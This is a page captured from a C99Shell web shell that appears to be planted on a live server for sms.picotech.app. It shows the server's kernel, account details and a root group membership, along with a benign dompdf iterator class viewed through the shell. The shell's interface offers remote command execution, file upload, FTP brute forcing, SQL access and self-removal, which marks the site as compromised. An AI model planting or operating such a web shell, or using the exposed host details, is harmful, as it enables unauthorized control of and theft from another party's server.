!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/sms.picotech.app/public_html/vendor/dompdf/dompdf/src/Frame/   drwxr-xr-x
Free 28.45 GB of 117.98 GB (24.12%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     FrameListIterator.php (1.9 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
/**
 * @package dompdf
 * @link    https://github.com/dompdf/dompdf
 * @license http://www.gnu.org/copyleft/lesser.html GNU Lesser General Public License
 */
namespace Dompdf\Frame;

use 
Iterator;
use 
Dompdf\Frame;

/**
 * Linked-list Iterator
 *
 * Returns children in order and allows for the list to change during iteration,
 * provided the changes occur to or after the current element.
 *
 * @package dompdf
 */
class FrameListIterator implements Iterator
{
    
/**
     * @var Frame
     */
    
protected $parent;

    
/**
     * @var Frame|null
     */
    
protected $cur;

    
/**
     * @var Frame|null
     */
    
protected $prev;

    
/**
     * @var int
     */
    
protected $num;

    
/**
     * @param Frame $frame
     */
    
public function __construct(Frame $frame)
    {
        
$this->parent $frame;
        
$this->rewind();
    }

    public function 
rewind(): void
    
{
        
$this->cur $this->parent->get_first_child();
        
$this->prev null;
        
$this->num 0;
    }

    
/**
     * @return bool
     */
    
public function valid(): bool
    
{
        return 
$this->cur !== null;
    }

    
/**
     * @return int
     */
    
public function key(): int
    
{
        return 
$this->num;
    }

    
/**
     * @return Frame|null
     */
    
public function current(): ?Frame
    
{
        return 
$this->cur;
    }

    public function 
next(): void
    
{
        if (
$this->cur === null) {
            return;
        }

        if (
$this->cur->get_parent() === $this->parent) {
            
$this->prev $this->cur;
            
$this->cur $this->cur->get_next_sibling();
            
$this->num++;
        } else {
            
// Continue from the previous child if the current frame has been
            // moved to another parent
            
$this->cur $this->prev !== null
                
$this->prev->get_next_sibling()
                : 
$this->parent->get_first_child();
        }
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0042 ]--